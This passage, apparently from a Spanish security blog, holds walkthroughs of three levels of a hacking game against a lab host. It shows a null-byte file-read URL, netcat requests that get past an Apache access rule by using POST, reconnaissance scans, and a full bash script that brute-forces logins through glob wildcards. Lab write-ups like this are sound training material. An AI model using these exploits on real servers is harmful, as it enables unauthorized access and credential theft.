• if (!ereg('^[^./][^/]*$',$_GET["select"])) {
• readfile("./grey.inc");
• include("./hacking.inc");
• exit(-1);

• } else {
• $open = $_GET["select"];
• }
  

• } else {
• $open = "grey";
• }
  

• readfile("./".$open.".inc");
• readfile("./login.inc");

• ?>

En negrita se ha resaltado la función que permite explotar la vulnerabilidad de lectura remota de ficheros dentro del path permitido. Si nos fijamos detenidamente la variable "$select" sufre un proceso de sanitización, en el cual se controla la inclusión de rutas como puedan ser las que contienen la '/' o el './'. Sin embargo, esta comprobación no puede chequear una inclusión de un byte nulo. Por ello, y dado que la directiva MAGIC_QUOTES_GPC está inhabilitada, se produce inclusión del fichero falicitado como parámetro a la variable "$select".

Aquí vamos a hacer un pequeño paréntesis. El código fuente del fichero "index.php" lo hemos obtenido desde él mismo mediante la función readfile vulnerable a lectura remota de ficheros que contiene. Dicho de otra forma, el fichero index.php ha sido incluido ( y por tanto procesado por PHP ) desde el fichero login.php, y dado que las funciones "include" interpretan código, jamás hubiésemos visto el código fuente, si en el fichero index.php no existiera una llamada a readfile en vez de a include.

Una vez localizado el fallo que permite la lectura remota de ficheros, debemos aprovecharlo para obtener la mayor información posible sobre el escenario, en este caso, consistirá en la lectura del código fuente localizado en el fichero login.php, permitiéndonos comprender el funcionamiento del proceso de login.

• http://www.blindware.inc/_controlp/index.php?select=login.php% 00
  

• <?php
• if (isset($_GET["select"])) {
• if (!ereg('^[^./][^/]*$',$_GET["select"])) {
• include("./grey.inc");
• include("./hacking.inc");
• exit(-1);

• } else {
• $open = $_GET["select"];
• }

• } else {
• $open = "grey";
• }

• include("./".$open.".inc");

• if (isset($_GET["login"]) || isset($_GET["password"])) {
• $dir = glob($_GET["login"] . "_" . $_GET["password"]);
• if (!empty($dir)) {
• if ($dir[0] == $_GET["login"] . "_" . $_GET["password"]) {
• $pwd = $_GET["login"] . "_" . $_GET["password"];
• $RPL_MYSQL = $pwd . "/myadmin/";
• $RPL_SYSINFO = $pwd . "/phpsysinfo/";
• $RPL_SETTINGS= $pwd . "/update/";
• $RPL_STATS = $pwd . "/stats/";
• include("./access.inc");

• } else {
• include("./hacking.inc");
• }
  

• } else {
• include("./access-failed.inc");
• }
• }

• ?>

El proceso de login, como se advertía al principio de la entrada, requiere de algo de ingenio para sobrepasarlo. A diferencia de otros procesos de login en este no existe una base de datos de usuarios central sobre la cual se haga ninguna consulta, bien sea con SQL, bien sea con LDAP. En lugar de eso, nos encontramos que los usuarios y contraseñas representan directorios del sistema con el formato "usuario_contraseña", y de esa forma, cuando un usuario elige la contraseña de forma correcta, se permite el acceso a una serie de funcionalidades mediante las variables "RPL_".

Este mecanismo de autenticación hace uso de la función glob de PHP. Esta función, consultando directamente la ayuda ofrecida por PHP podemos concluir que hace lo siguiente: La función glob() realiza una búsqueda por todos los nombres de ruta que coincidan con patrón de acuerdo a las reglas usadas por la función glob() de la biblioteca de C, las cuales son muy similares a las reglas usadas por intérpretes de comandos comunes.

Aquí es donde tiene que entrar en juego el ingenio. La función glob acepta patrones de búsqueda de ficheros, es decir, que se puede hacer uso del conocido patrón "*". Si estamos en una suposición cierta, al introducir como usuario "*" y como contraseña "*" el sistema debe detectar la existencia de una ruta válida, puesto que el directorio "*_*" debe existir tanto en cuanto el * representa cualquier cadena de caracteres. Vamos a probarlo.

Hacking Attemped Detected!

Your ip 192.168.200.1 are logged

Bien, hemos conseguido modificar el comportamiento de la aplicación. Si nos percatamos un poco más en el código fuente que hemos conseguido leer, vemos que el autor fuerza a que el directorio encontrado por la función glob, coincida con el suministrado por el usuario, y en caso de que no sea así muestra la pantalla con el mensaje de hacking. Si lo pensamos detenidamente, esto produce una condición booleana, que permite una explotación muy similar a la de un Blind SQL Injection.

En este tipo de explotaciones lo incial es conocer cual es la longitud de los campos: en nuestro caso usuario y contraseña. Con la sintaxis de Glob lo podemos obtener mediante el carácter “?”, de tal forma, en el usuario introduciremos una interrogación ( sustituye a cualquier carácter una vez ), y en la contraseña pondremos un “*”, de esta forma, añadiendo cada vez una "?", hasta obtener el mensaje de “Hacking ...”, conoceremos la longitud del campo usuario.

Para conocer la longitud de la contraseña, procedemos de la misma forma, pero a la inversa, en el campo usuario, colocamos un “*”, y en el campo contraseña, iremos colocando “?”, hasta obtener la página de aviso de “Hacking ...”.

Una vez conocida la longitud de ambos campos, sólo tenemos que ir probando el patrón “a*_*”, “b*_*” hasta obtener el aviso de "Hacking ...", y esa será la primera letra del usuario. Luego, suponiendo que sea una a, el patrón será “aa*_*”, para una vez conocido el usuario, continuar con la password. Este proceso, lo podemos hacer de forma manual, o programar un script que lo haga por nosotros.

En este caso, hemos decidido desarrollar, buscando lo didáctico, un script, denominado blindglob que nos permite explotar este fallo, aunque dudamos seriamente de la utilidad del mismo en algún escenario ajeno al descrito. No es el código más limpio que se haya programado en bash, ni mucho menos, pero ejemplifica lo descrito en los párrafos anteriores. Para su funcionamiento necesita de la utilidad "links" y de bash.

#!/bin/bash

if [ $# -ne 2 ]
then
echo "Blindglob v0.1 BETA"
echo "-------------------"
echo "Usage: $0 url token"
echo ""
echo "<*> Tokens: _USER_ _PASS_"
echo "<*> Example: $0 http://domain/script?login=_USER_&password=_PASS_ Hacking"
exit
fi

echo "Blindglob v0.1 BETA"
echo "-------------------"
echo "<*> Working ..."

FIN="no"
STRBRUTE="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
USERLEN=0;
PASSLEN=0;

# CALCULO DE LA LONGITUD DEL CAMPO USUARIO
URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
TOKEN="?"
until [ "$FIN" = "end" ]
do
RET=$(links -dump "$URL1$TOKEN$URL2")
if echo $RET | grep -q $2
then
FIN="end"
fi
TOKEN="$TOKEN?"
let "USERLEN=$USERLEN+1"
done
echo "<*> Longitud de usuario: $USERLEN"

# CALCULO DE LA LONGITUD DEL CAMPO PASSWORD
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
TOKEN="?"
until [ "$FIN" = "end" ]
do
RET=$(links -dump "$URL1$TOKEN$URL2")
if echo $RET | grep -q $2
then
FIN="end"
fi
TOKEN="$TOKEN?"
let "PASSLEN=$PASSLEN+1"
done
echo "<*> Longitud de contraseña: $PASSLEN"

# CALCULO DEL USUARIO
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
for count in $(seq 1 $USERLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump "$URL1$TOKEN*$URL2")
if echo $RET | grep -q $2
then
FIN="end"
let "BRUTE=$BRUTE-1"
fi
let "BRUTE=$BRUTE+1"
done
FIN="no"
USU=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo "<*> Usuario: $USU"

# CALCULO DEL PASSWORD
FIN="no"
URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/")
URL1=$(echo $URLX | cut -f1 -d"•")
URL2=$(echo $URLX | cut -f2 -d"•")
for count in $(seq 1 $PASSLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump "$URL1$TOKEN*$URL2")
if echo $RET | grep -q $2
then
FIN="end"
let "BRUTE=$BRUTE-1"
fi
let "BRUTE=$BRUTE+1"
done
FIN="no"
PAS=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo "<*> Contraseña: $PAS"

El lanzamiento del script contra "Sauron" debe proporcionar una salida como la siguiente:

Blindglob v0.1 BETA
-------------------
<*> Working ...
<*> Longitud de usuario: 5
<*> Longitud de contraseña: 9
<*> Usuario: admin
<*> Contraseña: givemeany

De esta forma se concluye este tercer nivel habiendo superado el proceso de autenticación mediante el uso de 3 fallos combinados: la inyección de bytes nulos en cadenas, la lectura remota de ficheros, y la explotación a ciegas de la función glob.

SecGame #1: Sauron - Resolución Nivel 2

Saludos,

el plazo de 2 semanas ha concluido y es momento de avanzar un nuevo nivel en la resolución del primero de los secgame. Éste segundo nivel sí que difiere, levemente de momento, según el nivel de dificultad en el que lo afrontemos. Aquí vamos a despejar la incógnita del nivel más sencillo, ya que en la versión compleja el procedimiento de actuación es muy similar, y el resultado una vez superado idéntico.

Sin embargo antes de entrar en materia, sí que queremos aprovechar para hacer un inciso y dar una recomendación, válida tanto para este "pequeño" juego, como para cualquier test de intrusión que se deba acometer: es muy importante disponer de un escenario de pruebas en el que poder replicar de forma lo más fidedigna posible el escenario a atacar. Si en este caso el escenario aparentemente es Fedora con Apache 2.2.4 y PHP 5.1.6, nos será muy útil contar con un sistema propio, en el que tengamos privilegios administrativos, y esos servicios. Dicho esto, por otra parte obvio, es hora de comenzar a investigar el segundo nivel: el directorio data/stats.

Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.

> nc www.blindware.inc 80
GET /data/stats HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/index.html HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/ficherocualquiera HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html

Visto esto, veámos que información da el "error-stats.html":

Access to "/var/www/blindware/htdocs/data/stats/" Forbidden

Your access isn't allowed to this path

HTTP METHOD RESTRICTED TO 127.0.0.1

Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: Access Forbidden Apache. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:

• Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.

• Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.

Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.

Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:

Order deny,allow
Deny from all
Allow from W.X.Y.Z

Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
Order deny,allow
Deny from all
Allow from 127.0.0.1

La primera línea es la que marca la redirección al fichero "error-stats.html" en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula "Deny from all" deniega el acceso a todos los usuarios menos a los autorizados por una cláusula "Allow" que en este caso serán los provenientes de 127.0.0.1 (localhost).

Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: apache access bypass, htaccess bypass, o apache access weakness.

Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (R1, R2, R3 y R4).

De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
<LIMIT GET>
Order deny,allow
Deny from all
Allow from 127.0.0.1
</LIMIT>

Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.

> nc www.blindware.inc 80
OPTIONS /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:29:51 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

> nc www.blindware.inc 80
TRACE /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:30:19 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: message/http

TRACE /data/stats/ HTTP/1.0

> nc www.blindware.inc 80
PUT /data/stats/ HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Jul 2007 12:30:49 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1

Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.

La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero "index.html" debemos hacer uso del método POST.

> nc www.blindware.inc 80
POST /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:31:57 GMT
Server: Apache/2.2.4 (Fedora)
Last-Modified: Tue, 08 May 2007 20:46:48 GMT
ETag: "a8023-4eed-8431de00"
Accept-Ranges: bytes
Content-Length: 20205
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Web Server Statistics for Blindware Inc.</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta name="robots" content="noindex,nofollow" />
<title>Server Statistics for Blindware Inc.</title>(..)

Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:

Directory Report

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

reqs	%bytes	directory
14	61.88%	/web/
14	34.76%	[root directory]
4	2.55%	/data/
8	0.63%	/icons/
10	0.18%	/_controlp/

En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre "_controlp/". El cual nos lleva al siguiente escenario:

Pues hasta aquí ha llegado este segundo nivel. En 2 semanas volveremos con el nivel 3, que esperamos a los que lo juguéis os resulte entretenido y didáctico.

SecGame #1: Sauron - Resolución Nivel 1

Saludos a todos,

dado que lo prometido es deuda vamos a comenzar con la resolución, cada 15 días, de los niveles propuestos para SecGame #1. Inicialmente pensamos hacerlo cada semana, pero creemos que resolviéndolos cada 15 días será posible, para aquellos que estéis siguiendo el juego, afrontar el nuevo nivel con tiempo suficiente.

En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.

Los objetivos son los siguientes:

• Conocer la estructura del sistema y de la red
• Conocer la estructura del aplicativo
• Buscar ficheros por defecto con información sensible
• Analizar la lógica del aplicativo
• Determinar los posibles puntos de intrusión.

Información sobre Red y Servicios

Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos nmap con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.

> nmap -sP 192.168.200.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance
Host 192.168.200.1 appears to be up.
Host www.blindware.inc (192.168.200.2) appears to be up.
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)
Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds

Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un "ping" previo, y que se compruebe el puerto 80/tcp.

En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.

> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
110/tcp filtered pop3
443/tcp open https
3306/tcp filtered mysql
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds

De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV

> nmap -sV -p 80,443 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.4 ((Fedora))
443/tcp open ssl OpenSSL
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds

Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https.

Información sobre el Servidor Web

¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.

Una conexión directa haciendo uso de netcat, y una petición al servicio web nos muestra la siguiente información:

> nc 192.168.200.2 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 19:20:20 GMT
Server: Apache/2.2.4 (Fedora)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.

Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. Wget o httrack son unas herramientas muy válidas para la tarea.

> wget -r http://www.blindware.inc
--19:28:15-- http://www.blindware.inc/
=> `www.blindware.inc/index.html'
Resolving www.blindware.inc... 192.168.200.2
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

[ <=> ] 24 --.--K/s

19:28:15 (1.02 MB/s) - `www.blindware.inc/index.html' saved [24]

Loading robots.txt; please ignore errors.
--19:28:15-- http://www.blindware.inc/robots.txt
=> `www.blindware.inc/robots.txt'
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]

100%[====================================>] 33 --.--K/s

19:28:15 (1.12 MB/s) - `www.blindware.inc/robots.txt' saved [33/33]

--19:28:15-- http://www.blindware.inc/load.js
=> `www.blindware.inc/load.js'
Connecting to www.blindware.inc|192.168.200.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 76 [application/x-javascript]

100%[====================================>] 76 --.--K/s

19:28:15 (2.30 MB/s) - `www.blindware.inc/load.js' saved [76/76]

FINISHED --19:28:15--
Downloaded: 133 bytes in 3 files

Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.

De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.

Vamos a verificar qué contienen los ficheros descargados:

> type index.html
script src="load.js">

> type load.js
// document.location.href='data/0.html'
Document.location.href=’web/0.html’;

> type robots.txt
User-agent: *
Disallow: /data/

Como podemos comprobar desde el fichero index.html existe una llamada a un fichero con contenido javascript (load.js) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual data/0.html. Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde web/0.html comprobamos que únicamente se descarga contenido estático en html.

Así que hasta el momento, y como conclusión, sabemos que existe una carpeta web/, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta data/, sobre la cual hablaremos más adelante.

Vulnerabilidades y Ficheros Sensibles

A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde AppScan, a Nikto, o su port a Win32, Wikto. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad Nikto, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.

Los resultados de la ejecución de Wikto son los siguientes:

BackEnd

#Directories
www.blindware.inc/
www.blindware.inc/cgi-bin/
www.blindware.inc/data/
www.blindware.inc/error/
www.blindware.inc/data/stats/
www.blindware.inc/error/include/
#Indexable
www.blindware.inc/data/
#Files
www.blindware.inc/index.php
www.blindware.inc/robots.txt

Nikto

/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
/WS_FTP.LOG

De esta información podemos obtener los siguientes datos relevantes:

• La existencia de un directorio /data/stats
• La existencia de un fichero WS_FTP.LOG
• La existencia de un fichero robots.txt
• Información sobre PHP

Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.

Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.

Busqueda de un Punto de Intrusión

Para buscar un punto de intrusión, debemos recopilar lo que sabemos hasta el momento, ordenar las ideas y tomar una decisión, que vaya por delante, no tiene porqué ser la correcta. Dicho de otra forma, todo lo realizado hasta el momento nos lleva a suposiciones plausibles, pero nada nos garantiza que estemos en lo cierto. Vamos a ver lo que sabemos:

1. Existen 3 contenidos diferentes servidos por el servidor web
1. http://www.blindware.inc ( En adelante www )
2. http://intranet.blindware.inc ( En adelante intranet )
3. https://www.blindware.inc y https://intranet.blindware.inc ( En adelante https )
2. El contenido de https que podemos revisar con Wikto no parece contener nada.
3. Intranet nos pide autenticación para acceder.
4. En www conocemos que:
   
1. Tanto por la información pública existente, como por Wikto, existen sendos directorios de nombre data/ y data/stats/
2. Wikto nos revela la existencia del fichero WS_FTP.LOG

Antes de continuar debemos revisar el fichero WS_FTP.LOG:

2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/index.php
2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd0.log
2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd1.log
2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd2.log
2007.05.08 12:55 B C:\data\logs\index.php <-- hawking /htdocs/data/stats/blnd3.log

Con lo cual, parece que tenemos 2 opciones:

1. Atacar la autenticación de intranet
2. Intentar acceder en WWW a data/stats/ ( y a lo que parecen ser logs )
   

Aquí hay que decidir, en este caso, sobre intranet no sabemos absolutamente nada, mientras que sobre data/stats/ al menos sabemos que el día 8 de Mayo de 2007, contenía algún tipo de fichero de logs.

Evidentemente cada uno puede buscar lo que prefiera, y dónde prefiera, pero en este caso, los LOGS pueden resultar una información de vital interés pues pueden desvelarnos partes ocultas del aplicativo, y otras áreas de las que no tenemos conocimiento, así como usuarios con los que se accede a ellas ( si el acceso se hace autenticado mediante apache ) y otros muchos detalles.

Por el contrario, atacar directamente una autenticación de Apache, salvo que esté incorrectamente configurada, es algo bastante poco probable de llevar a buen fin, porque a priori, únicamente podremos atacar por fuerza bruta.

Con esto podemos concluir el primer nivel, habiendo visto las siguientes vulnerabilidades relativas a la “publicación de información sensible”:

• En los comentarios del fichero “load.js” se filtra información
• El fichero robots.txt mal facilita información relativa a áreas del aplicativo no públicas.
• Existen el WS_FTP.LOG conteniendo información sensible.
• El servidor Apache, está incorrectamente configurado, permite, mediante la opción INDEXES, la navegación por aquellos directorios que no contienen un fichero índice.

Así mismo tenemos un objetivo para iniciar nuestro ataque: el directorio data/stats/ terminando así el primer nivel de Sauron. Este primer nivel es igual para ambos niveles de complejidad.

Esperemos que os haya resultado de interés, y que a los que no habían podido encontrar esta información, les sirva para poder continuar. Dentro de 15 días volveremos con el nivel 2.